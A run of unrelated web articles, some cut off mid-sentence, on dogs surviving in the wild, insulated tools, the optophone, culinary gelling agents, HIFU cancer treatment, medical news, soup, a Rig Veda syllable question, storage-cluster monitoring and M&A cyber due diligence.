Can Dogs Survive in the Wild on Their Own (Better Off)?
can dogs survive in the wild
When my wife and I travel abroad, and in particular to places in the south Mediterranean, we are always shocked by the number of stray dogs we see. If I think of my own dog, I can't imagine him being able to survive in the wild… but these foreign dogs survive on their own – or at least it appears they do.
Those dogs probably get a lot of help from tourists with snacks from the restaurant tables so might not be an accurate representation of whether dogs can survive in the wild… so what is the truth? Can dogs survive on their own and live in the wild and be better off?
Can dogs survive in the wild? Some dogs can survive on their own in the wild, and even thrive and be better off in the wild. However, this won't always be the case. Survival in the wild will depend on the dog's size, condition, sociability and prey drive.
That's a broad answer, so please continue for an overview of documented examples of dogs living in the wild, and what factors go into making it a success.
Can dogs survive on their own in the wild and be better off?
When you think about it, there are some very well-documented canine communities that have either escaped from or been abandoned by humans. The most notable is the so-called 'Dogs of Chernobyl'. Their owners were not permitted to take their pets when they were forced to flee after the nuclear explosion in 1986.
Despite attempts to euthanize the dogs, several of these dogs survived in the wild woods of the exclusion zone, even during the harsh Ukrainian winters. Although it is many canine generations later, the dogs still suffer the effects of the radioactive fallout and have a limited lifespan.
There are currently efforts to shelter, feed and sterilize those that live near human settlements, such as the guard huts.
Other examples of dogs that survive in the wild are Australian cattle dogs and Pyrenean mountain dogs. They will routinely spend months alone, protecting livestock in areas that are not conducive to human survival.
If you are planning to live with your dog in the wild, attributes such as loyalty, watchfulness and a protective instinct come into play. Strength and endurance are important if you plan to harness the dogs for chores such as transport.
Dogs that have been inbred for highly specialized purposes, for example, 'looking good on Instagram', may not make it, on their own, past lunch on day 2.
Survival hierarchy of needs for dogs living in the wild
According to Maslow's hierarchy of needs, basic requirements for human survival include food, water and shelter. Thereafter, we need security and a social structure.
If we extrapolate this model for canine survival, we can reasonably dispense with ego and self-actualisation needs. An exception may be made for that quadruped piranha, otherwise known as a Chihuahua.
Can dogs survive on their own
For a dog to survive in the wild, he will have to know how to hunt and find water.
The first need would be for water. Dogs are not as fussy as humans when it comes to drinking water so they will probably pass this hurdle. They may have digestive issues for a while but they will soon adapt.
Secondly, they will need food. For most dogs not living in the wild, this would be at 8 am and 4 pm every day. However, left to their own devices they will snack on anything, in between times.
Dogs are fortunate in that they are omnivores and their digestive systems will cope with eating proteins, fat, bones and starches. Many dogs do not even care how old their food is.
When dogs live in the wild, they will no doubt need to develop hunting skills in order to survive in the long run. Individual small dogs like terriers and Beagles need less food and will be able to follow small mammals into their burrows. They could also be agile enough to catch birds.
Hunting dogs, such as pointers, setters and beagles have an elevated prey drive and are relentless in tracking down small mammals and birds. Retrievers, Spaniels and Newfoundlands would have an advantage in the wetlands, and might even be successful at catching fish.
The social structure becomes important for slower, larger breeds, such as rottweilers and mastiffs as they will need to hunt in packs.
Canine species in the wild, such as jackals and wild dogs, do eat carrion, but they invariably need to compete with other animals to secure sufficient quantities. Individual dogs would not be able to live in the wild and survive as successfully as they won't can't compete as effectively.
Shelter is a concern for most domesticated dogs. However, in the wild, dogs who live outside will grow and shed hair in accordance with the changes in temperature. In extreme hot or cold climates, respectively, the Mexican Hairless and the Malamute would have an advantage.
In most other climates, even short-haired breeds will survive, with the help of their friends.
Although there is a dominance hierarchy and 'survival of the fittest' that comes into play, within the pack, the collective will take care of its members. For example, nursing mothers will be protected, and the very young fed by older siblings.
Research has shown that rather than breeding indiscriminately, the way street dogs do, packs of wild dogs have fewer offspring. Among African wild dogs, the most efficient hunting mammals on that continent, it is usually the alpha male and female that mate, thereby preserving the dominant genes most likely to lead to the survival of the pack.
Even domesticated dogs have a highly developed sense of smell and this will serve them well in identifying friend, foe and food in the wild. Dogs also have more pigment in their irises so can withstand bright light for longer than their human counterparts.
Photos of packs of feral dogs show a prevalence of medium to large, cross bred dogs, with short hair. Most are lean but not too muscular. Small dogs routinely punch above their weight and don't seem to survive when humans are not around to keep larger dogs in check.
After successive seasons, the pack would take on a uniform colour coat, suitable for adapting to the region. For example, in warmer areas, such as the desert, dogs tend to have lighter coloured coats. One could term them sandy-haired.
What dog breeds are likely to survive in the wild?
Among the small breeds, the Jack Russell and Cairn Terriers stand the best chances of survival. JRTs are energetic little dogs, bred to be rat catchers and to enter burrows in pursuit if their prey. Cairn Terriers are hardy wire-haired, Scottish dogs that seem to thrive in all weather conditions.
Spaniels and Beagles are slightly larger breeds. Beagles have a bad rap in that they are reportedly slower and do not match the intelligence of other hunting dogs. But they are dogged in pursuing their prey (their big ears help).
Spaniels have the same reputation but are better suited to the water.
The best mid-range dogs are collies, retrievers and heelers or cattle dogs. They bring all the attributes of the aforementioned breeds to the hunting party but have more bulk. The retrievers will sparkle in water.
For protection of the pack, and backup in a hunt, Doberman Pinschers are lithe, fast and aggressive. Rottweilers would make into the pack by virtue of their appearance, and any of the Pitbull types gain a place because of their reputation. These are both strong, powerful dogs with attitudes that do not invite opposition.
In the snow, Alaskan Malamutes have the intelligence, the work ethic and the strength required for long term survival. The large breeds, such as Pyrenean Mountain Dogs, St Bernards and Newfoundlands are all immensely powerful dogs with glowing reputations as working, carting and guard dogs.
The St Bernard, due to its record of Alpine rescues, has the honour of being the national dog of Switzerland.
Regional dogs, such as the Boerboel and the Rhodesian Ridgeback would be high on the list of survivors in the Southern African region. The Thai also have a Ridgeback, and in Indochina, you will find a formidable breed of domesticated dingo which would easily revert to being free range. The Irish Wolfhound would no doubt love to join its namesake in the wild.
Do dogs live longer in the wild?
Whilst there is no research to prove whether dogs live longer in the wild, the best assumption would be no, they do not. If you think of the risks such as illness with no vets, food sources, water, traffic, fights, and other potential predators, they life expectancy of a wild dog will be lower.
Can I release my dog into the wild?
Of course you can release your dog into the wild, but whether they will survive or not is another matter. Most dogs who have been domesticated will struggle to adapt when released into the wild.
As well as the ethics of releasing a dog into the wild, there are laws too.
For example, in the UK when you release a dog into the wild you are contravening the Wildlife and Countryside Act of 1981. Section 14 of the act prohibits releasing dogs into the wild as a non-native animal.
After rats and cats, feral dogs have become the world's third largest human-introduced threat to wildlife. They are responsible for the extinction of almost a dozen species of birds and mammals, and are thought to be a threat to another 200 species, some of which are on the endangered list.
Releasing a dog into the wild is both


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Accident Reconstruction Biomechanics
Following an accident, a detailed analysis of the situation can be provided to clients to help them make informed decisions on what truly happened, and which scenario was most likely to have occurred. This can be done by one of Envista's biomechanical engineers, who have investigated numerous accidents and provided expert testimony for decades.
Examples of typical investigations include:
- Ladder incidents and falls
- Personal injury (trip and fall)
- Playground equipment failures
- Handicap accessible ramps or equipment incidents
Building code and industry standard requirements
Aside from the accident alone, other factors can come into play to complete an accident investigation, including building code and industry standard reviews. This is especially important for worker's comp or regulatory health and safety incidents. An Envista biomechanical engineer can evaluate:
- Building code requirements for stairs, railings, interior or exterior steps and doors
- Ladder testing that adheres to local standards (based on where the accident occurred, e.g. CSA, OSHA, etc.)
- Walking surfaces and floors to ensure they adhere to industry and local standards
Vehicle collision and personal injury
When addressing personal injuries, both medical and personal information will be required to help with our analysis. Our biomechanical engineer will analyze injury mechanisms, probable causation and seatbelt effectiveness no matter the speed of the vehicle.


All about Insulated Tools
Tool safety is a vital thing for any professional who uses them. Choosing the right tool is not only a matter of performance but also the protection it gives the user. Therefore, for protection purposes what are the best tools? The answer is straightforward, insulated tools.
Why insulated tools?
Using insulated tools is not a priority for professionals working on live electrical current. From the performance point of view, the same task can be comfortably done by regular tools. The critical difference between the two is that insulated tools over user protection against electrical shock up to 1000 V.
No amount of modification made on conventional tools such as a garden hose to cover the handles or coating the exposed parts with the coating of ordinary cover will give same level protection such as fully certified insulated tools.
How insulated tools are made
Compared to regular tools, insulated tools are more expensive. The process tools go through to give the user a higher level of protection against electrical menaces is both times consuming and complicated.
The most common methods used to manufacture insulated tools are injection molding and dipping. Choosing one device over the other depends on user habit and personal preference.
The dipping process is mostly used by the North America manufacturers such as Gray tools. The process requires that each device is cleaned, trimmed, polished and laser engraved. To achieve maximum results, most of the process steps need a precise and lengthy amount of curing time.
Insulated tools under the dipping process feature two layers of insulation in contrasting colors. Besides the insulation properties, the inner layer acts as a safety indicator. If the coating becomes visible through the outer layer, the tools are not safe to use.
Asian and European insulated manufacturers prefer the injection molding process. These tools feature handles molded from insulation material.
Things to consider when choosing insulated tools
Once you have decided your preferred tool designs, below are some tips for choosing insulated tools.
Choose a reputable tool manufacturerQuality of a tool is not solely judged on insulation method but also the performance of the tool. Tools from established manufacturers are from within their portfolio. Also, the tools have been tried and tested.
Check the gripYou should have a tool that has a secure grip. This minimizes injuries related to tool drop or slippage.
WarrantiesIf all things are standard, the next step is being keen on the warranty. A warranty can make a difference between efficiency and time lost with warranty claims. Reputable brands have a lifetime guarantee for insulated tools.
How to ensure insulated tools are safe to use
Use insulated tools on areas whose temperatures are compatible with the stipulated manufacturer's specifications.
Each time you plan to use insulated tools, perform a visual inspection. If you find nicks, cuts, cracks, or any other damage to the outer layer, stop using the tool until the mess is mended.
Don't dare to touch un-insulated part of the tool that might come into contact with live electrical.
Keep your insulated tools away from cutting vessels such as razors and utility knives. This helps to stop the damage of insulating material.
Keep your tools away from heat sources.
Clean and maintain your insulated tools regularly for reliable services.
In conclusion, insulated tools provide maximum user protection than regular tools. For more information visit the Facom website, it has further details of insulated tools.


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OPTOPHONE. The optophone is an instrument for enabling totally blind people to read ordinary letterpress, such as a printed book or newspaper, without the necessity of printing it in raised type to be read by touch. The instrument was invented in 1914 by Dr. E. E. Fournier d'Albe, then a lecturer in physics in the university of Birmingham. It is based upon the properties of selenium, an element which is a better electrical conductor in light than in darkness. A beam of light is rendered intermittent by the interposition of a revolving siren disc and is then concentrated into a small bright point on the paper to be read. If the point on the paper is white, it will reflect the light; if it is black it will not. A selenium cell placed close to the paper, on receiving the reflected beam of intermittent light, will respond to each flash by a change in conductivity, and if the frequency of the flashes is of the "musical" order (between 30 and 30,000 flashes per second), a telephone receiver connected with the selenium and a battery will sound a musical note. A blind person could thus tell whether the paper is black or white.
That is the principle of the optophone. In practice a small row of luminous points is substituted for a single point, and each point in the row is given a different frequency by suitably perforating the siren disc. The row, usually of five or six points, just fills up the size of the tall letters of the print to be read. When the whole row falls upon the black stem of a letter there is silence in the telephone. As the letters pass their various shapes are indicated by the sounding or silence of the different notes, and after some practice the blind person learns to recognize letters from their sounds, and so to read ordinary type.
The first reading test was given by the inventor in March 1917, the matter read being a leading article in The Times. In Aug. 1918, Miss Mary Jameson, a blind pupil from Norwood, gave the first public reading demonstrations, reading an unknown page from a book at a speed of about two words per minute. Later, with an improved instrument, she attained a speed of about 20 words per minute. A new type of optophone was brought out in 1920 by Barr & Stroud, of Glasgow. In this instrument two selenium cells were used, balanced against each other in such a manner that white paper produced silence, and the black letters themselves made the musical sounds. Reading demonstrations were also given with this instrument, but any advantage in the way of ease of reading was found to be counter-balanced by a greater delicacy and complexity of adjustment. The new type is known as the "black-sounder," and the original type is termed the "white-sounder." The latter type was approved by the Inventions and Research Committee of the National Institute for the Blind in 1921 after an exhaustive series of tests. The optophone is intended to place the world's printed literature once more within reach of the blind. It is applicable, without special preparation, to any language, and can also be used for reading typescript, but not handwriting.
See "A Type-reading Optophone," Roy. Soc. Proceedings (1914); "The Optophone," Journal of Roy. Soc. of Arts (1921); "The Optophone," St. Dunstan's Review, No. 55 (1921).
- (E. E. F. D'A.)


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Gelling is a wide ranging and very important technique in traditional and modern cooking. It encapsulates everything from the old to the new, from custards to edible gel sheets to spherification. There are many different ingredients that cause gelling including eggs, starches like flour, and hydrocolloids like agar and carrageenan.
Gelling is a very interesting process. There are a few different ways gelling happens but most of them result in some kind of solid structure that traps liquid in it. The structure is often made of proteins and gives form and body to the gel.
To achieve this structure we have to add gelling agents to the liquid we want to gel. There are many traditional gelling ingredients most cooks are familiar with. Gelatin is often used in desserts as well as naturally providing body in stocks. Cooked eggs become gels. Even the proteins in flour form a network for doughs.
Now, there are a variety of new gelling agents, many of which are called hydrocolloids, that give us a lot more control over the types of gels we create.
Even though there are many different kinds of gels, most often a similar process is used to create them. Go to the Ingredient page for instructions on a specific ingredient.
Typically, the first step is to disperse the gelling agent in the liquid you want to gel. Dispersion is simply the act of evenly distributing the ingredient throughout the liquid. This will ensure a gel of even strength.
A good example of dispersion gone wrong is when you try to add flour to a hot liquid. Instead of a smooth gravy you end up with lumps where the flour gelled together. Proper dispersion of the flour, usually using a water slurry or fat-based roux, eliminates the formation of lumps.
Depending on the ingredient you may have to use a hot, cold, acidic, or other liquid for proper dispersion. For some ingredients a whisk or spoon will work fine, others will need the stronger shearing forces of an immersion or standing blender.
One exception to the rule of dispersing first is gelatin. It is hydrated, or "bloomed" first, before being dispersed.
Once the gelling agent has been fully dispersed it needs to hydrate. Hydration is basically the process of absorbing water, or another liquid, and swelling. This absorption of liquid, in conjunction with other processes, causes the thickening of the mixture, creating a molecular mesh that traps water. This is a simplification of the molecular processes; if you are interested in the science behind them, a lot of good information can be found on the internet.
Depending on the gelling agent and the liquid being used, hydration will occur at different temperatures and over different time frames. Many ingredients will need to be heated for hydration to occur, like flour and agar.
The final stage is when the liquid actually gels. Many gelling agents will gel at a specific temperature; others may gel at any temperature. This process can take anywhere from a few minutes to many hours.
Sometimes you do not want to bring the liquid you are gelling to a boil. In order to hydrate a gelling agent that must be heated you have two options.
You can disperse and hydrate the gelling agent in a small amount of the liquid and blend the rest of the liquid into it after hydration. You can also disperse and hydrate the gelling agent in water and blend the liquid into that. Either way, the temperature will drop quickly and some gelling agents, such as agar, will begin to set faster than usual.
Warming up the liquid as much as you can is advised for better dispersion once the gelling agent has hydrated.
Due to the way many of these ingredients create their molecular webs the chemicals in your water can affect the gelling power of your dishes. If you have water that has a high mineral content, or are consistently having trouble with your gels it might be worth experimenting with filtered, spring, or distilled water. It won't always fix the problem but it will at least eliminate one variable from the equation.
Different gelling agents create gels that can withstand a wide variety of temperatures. Be sure to pick a gelling ingredient that meets the needs of the dish you are preparing. For instance, gelatin melts just above room temperature so it cannot be used with hot preparations while agar gels can be heated up to around 80°C (176°F) before it melts.
There are many different gelling ingredients. Below is a short description of several of the gelling agents we cover in depth.
Agar creates brittle gels and it must be brought to a boil to hydrate. It sets at room temperature and can be heated to 80°C (176°F) before melting. You can also add locust bean gum to agar gels to make them more elastic.
Agar is typically used in a ratio of 0.2% to 3.0%. For soft gels a 0.2% to 0.5% range is ideal and the gel becomes harder as more agar is added. Locust bean gum can be added to make the gel more elastic, usually by replacing 10% of the agar with locust bean gum. For more information you can view my Guide to Agar.
Iota carrageenan creates elastic gels and is especially effective with dairy products. It is often used in custards or puddings. It must be heated to hydrate then cooled to set the gel. Once gelled it can be reheated several degrees above the gelling temperature before melting.
Iota Carrageenan is normally mixed in a ratio range of 0.02-0.04% to just thicken a dairy based product or a 0.4-1.5% ratio to prepare a dairy gel. Non-dairy gels often require a little more iota in the range of 0.75-1.5%. Since foams are more delicate, a 0.2-1.0% ratio of iota carrageenan is needed to make foams from fluid gels. For dairy fluid gels when blended it takes a ratio range of 0.1-1.0% iota carrageenan.
For an end result with a specific elasticity, mix the iota carrageenan and kappa carrageenan together; the total amount of the carrageenans used for gels is a 0.3-1.5% ratio. For a medium elasticity use 1 part iota to 1 part kappa ratio; for an elastic gel a 2 iota to 1 kappa ratio; and for a brittle gel a 1 iota to 2 kappa For more information check out my Guide to Iota Carrageenan.
Kappa carrageenan can be used to create firm, brittle gels and is especially effective at gelling dairy-based liquids. To gel, the liquid must contain either calcium or potassium that is free to bind with the kappa carrageenan.
For dairy gels kappa carrageenan is normally mixed in a ratio of 0.3-1.5% range. For dairy fluid gels when blended it often takes a little less, a ratio range of 0.3-1.0% is appropriate.
For an end result with a specific elasticity, mix the iota carrageenan and kappa carrageenan together; the total amount of carrageenan used for gels is a 0.3-1.5% ratio. For a medium elasticity use 1 part iota to 1 part kappa ratio; for an elastic gel a 2 iota to 1 kappa ratio; and for a brittle gel a 1 iota to 2 kappa
It must be heated to hydrate then cooled to set the gel. Once gelled it can be reheated several degrees above the gelling temperature before melting. Discover more information by visiting my Guide to Kappa Carrageenan.
Gelatin forms elastic gels that can't be raised much above room temperature. Gelatin has to be dispersed in hot liquid and sets at room temperature or below.
The powdered gelatin referred to in this section has a bloom strength of 225. For this gelatin the ratios often range from 0.5% to 1.0% for soft, tender gels. For very hard, firm gels it can be used in ratios of upwards of 6% but the typical range for medium firm gels is 1% to 3%. For light foams you commonly see a 0.4% to 1.0% ratio powdered gelatin, where a denser foam typically needs a 1.0% to 1.7% ratio. When making marshmallows a ratio of 10% of the liquid is called for.
If you are using sheet gelatin you will use 0.3-0.5 sheets per 100 grams of liquid for soft gels and 0.5 to 1.66 sheets per 100 grams of liquid for firmer gels. For very firm gels more than 3.3 sheets per 100 grams of liquid is sometimes used. For a light foam use 0.2 to 0.5 sheets per 100 grams of liquid, a dense foams requires 0.5 to 0.9 sheets per 100 grams of liquid. When making marshmallows a ratio of 5.5 sheets per 100 grams of liquid is common. For more information you can view my Guide to Gelatin.
Methylcellulose has the uncommon ability to gel as it heats, and melt as it cools. There are many different types of methylcellulose available for a variety of uses.
For making foams, a ratio mixture of 1.0-2


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|HIFU For Prostate Cancer|
What is HIFU?
HIFU, which is short for high intensity focused ultrasound, is a state-of-the-art technology that utilizes ultrasound energy to destroy targeted tissueÂ during a procedure that is customized for each patientâ€™s prostate cancer treatment. When HIFU energy is delivered
to a specific location within the body, the tissue temperature at that site, or focal point, is elevated to nearly 195 degrees Fahrenheit in a matter of seconds, resulting in tissue destruction, while the tissue outside the focal point remains unharmed.Â
In order to understand the basic concept of how HIFU works an analogy can be drawn between HIFU ablating the prostate and sunrays entering a magnifying glass to burn a leaf. When a magnifying glass is held above a leaf in the correct position on a sunny day the sunrays intersect below the lens and cause the leaf to burn at the point of intersection.
In most cases, Sonablate HIFU is a 2-4 hour, one-time procedure performed on an out-patient basis under spinal anesthesia. Unlike radiation, HIFU uses clean, or non-ionizing, energy so the procedure may be repeated if necessary.
The Basic Concept of HIFU
If you insert your hand into the path of eitherÂ oneÂ of the sun rays individually, away from the point of intersection, there is no significant heat felt or harm caused. Alternatively, if you place your hand at the pointÂ ofÂ intersection you will be burned.Â
TheÂ scientific principles at work in this example are the same as those with HIFU.Â Instead of light as the energy source, HIFU utilizes sound. Instead of a magnifying glass HIFU uses a transducer.Â Just as theÂ individual sunray does not super heat the hand, theÂ individual sound wave does not super heat the tissue it travels through.


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Bad Breath Chemical Could Fuel Growth Of Liver Stem Cells
The gas compound that causes bad breath and flatulence (hydrogen sulphide (H2S)), could fuel the growth of liver stem cells, Japanese scientists have discovered.
Researchers from the Nippon Dental University in Japan discovered that the gas, notorious for its egg-like stench, can help teeth stem cells transform into liver stem cells.
They hope their findings could lead to damaged liver cells being repaired using regenerated ones derived from tooth pulp.
Experts used the H2S gas to enhance the growth of stem cells from one part of the body to another - in this case, dental pulp (the middle part of the tooth made of tissue and cells) was converted into liver stem cells.
The teeth cells were taken from a group of dental patients undergoing routine tooth extractions and were then separated into two groups. One group of cells was incubated in a H2S chamber and the other acted as a control.
The stem cells were analysed after three, six and nice days to track their transformation into liver cells. They also tested their ability to function like liver cells.
Researchers say they experienced an increased population of liver stem cells, although the study did not reveal how many were made. The experts claim the H2S gas boosted the purity of the stem cells, causing them to convert at a rapid speed.
"High purity means there are less 'wrong cells' that are being differentiated to other tissues, or remaining as stem cells," says lead author Dr Ken Yaegaki, reports the Press Association.
"Moreover, these facts suggest that patients undergoing transplantation with the hepatic (liver) cells may have almost no possibility of developing teratomas (tumours) or cancers.
"Until now, nobody has produced the protocol to regenerate such a huge number of hepatic cells for human transplantation.
"Compared to the traditional method of using foetal bovine serum to produce the cells, our method is productive and, most importantly, safe."
Researchers are hoping their findings could help repair damaged liver cells using regenerated ones derived from tooth pulp, however there were questions on the number of dental stem cells that could be harvested.
The findings were published in the Journal of Breath Research.
This is not the first time hydrogen sulphide gas has been cited as having health benefits. In 2008, scientists from the John Hopkins University found that small amounts of the chemical relaxes blood vessels, lowering blood pressure.
Skin Cancer Drug Doubles Survival Rate
A twice-daily skin cancer drug almost doubles the survival times of advanced cancer patients, American scientists have discovered. Researchers from the Jonsson Cancer Center at the University of California, found that advanced melanoma cancer sufferers lived on average of 16 months after receiving the vemurafenib drug. Read the full story here. Read the full story here
Breakthrough Test Could Predict Heart Attacks And Strokes
Scientists have discovered five new genes that cause heart attacks and strokes and hope these findings will enable them to pinpoint when the attacks will strike. The researchers, from Queen Mary University of London, identified five generic variants that trigger heart attacks and strokes after investigating blood pressure measurements of 25,000 participants. The aim of the study was to look into the role that genes play in hypertension and high blood pressure. Read the full story here.
Skin Cancer Pill Brings Fresh Hope To Alzheimer's Sufferers
American scientists have discovered a potential new drug that could help fight against Alzheimer's disease. Neuroscientists from the Case Western Reserve University School of Medicine discovered that a skin cancer drug called bexarotene appears to reverse cognitive and memory deficits associated with Alzheimer's when tested on lab mice. Read the full story here.
Personalised Skin Cancer Drugs Brings Fresh Hope
A "personalised" pill for advanced skin cancer that can extend life has been approved for use in the UK. The drug, vemurafenib, only works for patients with a specific variant of the BRAF gene. Read the full story here.
Genetic Breakthrough Raises Hope For Breast Cancer Sufferers
The genetic code of the most common form of hereditary breast cancer has been mapped for the first time, offering hope for diagnosis and treatment of the disease in the future. Researchers say they have "fully sequenced" the DNA of two breast cancers caused by a faulty BRCA1 gene, which is responsible for aggressive and highly drug-resistant tumours. Read the full story here.
Peanut Allergies - Have Scientists Finally Found A Cure?
Scientists from the Northwestern University in Chicago have come one step closer to developing a potential cure for peanut allergies, by creating an immune system tolerant to peanuts. The researchers found that they can switch off potentially deadly peanut allergy attacks by tricking the immune system into tolerating nut proteins, and not seeing them as a threat to the body. Read the full story here.
Lung Cancer Detection Test Trial
A breakthrough lung cancer detection test is set to be trialled on smokers for the first time in Scotland. If successful, cancers could be identified five years earlier than by current detection methods. Read the full story here.
Cure For Insomnia A Step Closer After Scientists Discover The Enzyme That Wakes Us Up
Sleepless nights could soon be a thing of the past as scientists discover a key chemical trigger that suppresses sleep and wakes people up. Researchers from Boston University found that when the body has too little of the calcium kinase enzyme, it causes the brain to nod off to sleep. Read the full story here.
Boiling Breast Cancer Tumours Kills Them In Minutes, Discover Experts
A new treatment for breast cancer has been discovered after scientists found that breast tumours can be killed in minutes - by boiling them. The latest treatment, known as Preferential Radio-Frequency Ablation, uses a targeted electrical current that heats, or 'boils' the tumour to 70 to 90c (160 to 190f). Read the full story here.
New Scan Detects Breast Cancer In Seconds Using Anti-Landmine Technology
British scientists have developed a revolutionary breast-screening system that uses anti-landmine technology to detect cancer in seconds. The radio-wave scanner is safer, cheaper and less painful than traditional mammogram X-rays, and unlike the current system, can be used on women of all ages. Read the full story here.
Stem Cell Transplant Offers New Hope For Autism and Parkinson's
Breakthrough research involving a brain transplant of stem cells could offer hope for the treatment of both autism and Parkinson's disease. The study, from Harvard University, has already proven successful with mice. Scientists transferred healthy stem cells from mouse embryos into the brains of adult mice who were unable to use leptin, a hormone that tells the body when to stop eating.


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Group and school bookings include fun, informative tours of the Discovery Gallery and Cosmology Gallery. Group tours can be coupled with a two-course lunch or morning tea, provided by the Gravity Cafe.The main objective of the Gravity Discovery Centre is to provide exciting and inspiring science educational programs. We aim to ignite people's interest in Science. Students perform free fall object experiments from the Leaning Tower, engage with interactive exhibits and displays, and learn about our Solar System and the Big Bang Theory.
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Free lecture promises to reveal sea floor
From Lamar University -The Lamar University Scientific Research Society will host Rikk Kvitek, professor in the Division of Science and Environmental Policy, California State University Monterey Bay, in a free public lecture on Wednesday, March 27, at 7:30 p.m. in the Richard Price Auditorium, John Gray Center, Building.
Scientists explain that we know more about distant planets than we do about the seafloor. Through novel applications of cutting edge technology, scientists can now visualize submarine canyons, underwater seamounts and ridges, and even a kelp forest teeming with marine life. Kvitek specializes in bringing seafloor habitats to life with high resolution remote sensing and 3D visualization. The State of California has undertaken a cutting-edge project to make this possible by mapping the seafloor of all the state's waters.
Kvitek directs the university's Seafloor Mapping Lab and also teaches and directs the program's geospatial technology curriculum, including classes in GIS, GPS, and acoustic remote sensing. His research involves numerous undergraduate students in high-resolution mapping of west coast benthic habitats and communities critical to resource management issues. In his lecture, Kvitek will show the first images created from this effort and share how this new information is being used.


10 Things Soup Taught Me About Cooking
We've been enjoying a hot and nourishing Soup Week here at The Kitchn, and as we explored good tips and the secrets of really great soups, I realized something. So much of what I know about cooking came from soup. Not braises, not casseroles, not pasta. In many ways, soup taught me the essentials of cooking, and here are ten important things that I learned from making many pots of soup.
 - A little bit of bacon goes a long way. I think it was soup that first taught me how just a wee piece of meat, especially something as fragrant as bacon, could flavor an entire dish.
 - There are patterns in recipes that set you free. The process of making a good soup is slow and there are distinct steps. Heat fat. Sauté aromatics. Build it up with beans or vegetables. Add stock. Simmer. I began to see patterns and processes in the soup pot that taught me how flavor is created and intensified.
 - Emulsification isn't just for salad dressings. You know emulsification, that process by which oil and vinegar can get whipped into a thick, creamy dressing? Same thing happens in soup when you blend it up; you don't need cream to make a creamy soup.
 - Turkey stock is why turkeys exist. Seriously. I don't like turkey meat very much, but turkey stock is liquid gold, worth its weight in brownies gilded with diamonds. Turkey stock is not to be underestimated.
 - Soggy bread is actually very good. If soggy bread grosses you out, that should change when it comes to soup. A little good bread tossed into a pot of mulligatawny or a bowl of chicken broth can plump it out and add flavor.
 - The freezer is your friend. Soup goes in and comes back out for quick meals. The freezer also lets you store up bits of meat and vegetables, not to mention stock (turkey stock) for tossing into soups. After ice cream, soup is pretty much the only reason I have a freezer.
 - It's not the recipe's fault — it's yours. Soups taught me to taste, taste, taste as I cooked. If something seemed off, I learned that it's my own taste that determines the outcome. A recipe only gets you halfway there; after that you need to adjust salt, acid, and other flavors to your taste. If you don't like it, fix it until you do.
 - The pressure cooker is magic. This is a recent discovery, but I am newly in love with my pressure cooker overall, and discovering that I can make incredible perfect stock in 45 minutes in that thing has just cemented the deal. (Guess what kind I just made.)
 - Time is money. You can make food taste delicious in all sorts of ways: Fat, salt, acid, expensive luxury ingredients like truffles and vanilla beans. But if you are poor in money, or just watching your pocketbook, you can make up for it in time. I've made all sorts of "stone soups" out of a few weary vegetables and boxed broth, but made up the flavor by searing the heck out of the vegetables, or letting everything simmer for a long, long time. Time is money, in the kitchen.
 - Just make it up. More than anything else, though, soup taught me that it's not just OK, but delightful to just make it up in the kitchen. Have a bag of broth, some onions, and a pantry full of spices and canned beans? Why even look at a recipe? Get started, add a bit of this and that, and soon you'll have a soup that no one else has ever quite had before. It will be all yours, and all delicious. (Especially if you use turkey stock.)
Those are my own soup lessons, acquired from standing over a pot of soup. Has soup taught you things about cooking and being in the kitchen? I would love to hear!
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Wikipedia mentions that Rik-Veda has 432 000 syllables and refers to Satapatha Brahmana as the source of this information. Satapatha Brahmana 10:4:2:23 states the following:
"He arranged the Rik-verses into twelve thousand of Brihatîs, for of that extent are the verses created by Prajapati. At the thirtieth arrangement they came to an end in the Paṅktis; and because it was at the thirtieth arrangement that they came to an end, there are thirty nights in the month; and because it was in the Paṅktis, therefore Prajapati is 'pankta' (fivefold). There are one hundred-and-eight hundred Paṅktis."
12000 (Brihatis) x 36 (syllables) = 432000
10800 (Panktis) x 40 (syllables) = 432000
My questions: Does Rik-Veda consist of Brihati meters with 36 syllables, or of Pankti meters with 40 syllables?
If it consists of both, then the total amount of syllables would be 864000.
According to my understanding Rik-Veda has many different meters, like Trishtubh, Gayatri, Jagati etc.
Who can explain to me the Satapatha Brahmana text?
What is the meaning of the thirtieth arrangement where the Brihatis came to an end in the Panktis?
(I am writing Rik with ka instead of ga, because my Guru'ji says ka is more original, only later it developed into ga. R stands for infinite dynamism of the absolute Being and ka stands for its point value.)


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4.1. Monitoring General Storage Cluster Parameters¶
By monitoring general parameters, you can get detailed information about all components of the storage cluster, its overall status and health. To display this information, use the
vstorage -c top command. For example:
The command above shows detailed information about the
stor1 cluster. The general parameters (highlighted in red) are as follows.
Overall status of the cluster:
- All chunk servers in the cluster are active.
- There is not enough information about the cluster state (e.g., because the master MDS server was elected a while ago).
- Some of the chunk servers in the cluster are inactive.
- The cluster has too many inactive chunk servers; the automatic replication is disabled.
- SMART warning
- One or more physical disks attached to cluster nodes are in pre-failure condition. For details, see Monitoring Physical Disks.
Amount of disk space in the cluster:
- Free physical disk space in the cluster.
- Amount of logical disk space available to clients. Allocatable disk space is calculated on the basis of the current replication parameters and free disk space on chunk servers. It may also be limited by license.
For more information on monitoring and understanding disk space usage in clusters, see Understanding Disk Space Usage.
- MDS nodes
- Number of active MDS servers as compared to the total number of MDS servers configured for the cluster.
- epoch time
- Time elapsed since the MDS master server election.
- CS nodes
Number of active chunk servers as compared to the total number of chunk servers configured for the cluster.
The information in parentheses informs you about the number of these chunk servers:
- Active chunk servers (avail.) that are currently up and running in the cluster;
- Inactive chunk servers (inactive) that are temporarily unavailable. A chunk server is marked as inactive during its first 5 minutes of inactivity.
- Offline chunk servers (offline) that have been inactive for more than 5 minutes. A chunk server changes its state to offline after 5 minutes of inactivity. Once the state is changed to offline, the cluster starts replicating data to restore the chunks that were stored on the offline chunk server.
- Key number under which the license is registered on the Key Authentication server and license state.
- Replication settings. The normal number of chunk replicas and the limit after which a chunk gets blocked until recovered.
Disks IO activity in the cluster:
- Speed of read and write I/O operations, in bytes per second.
- Number of read and write I/O operations per second.


The importance of cyber screening for managing the risks of mergers and acquisitions | data room
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Mergers and acquisitions are always associated with financial, legal and reputational risks. In a modern global data economy, cyber verification is an essential part of any business investment, just as standard due diligence practice is a standard procedure today. Consumer data is recognized as a powerful product simply by companies and regulators around the world.
For a successful process and complete a transaction, it is important that the company recognizes cyber risks that it can take upon both before and after the investment.
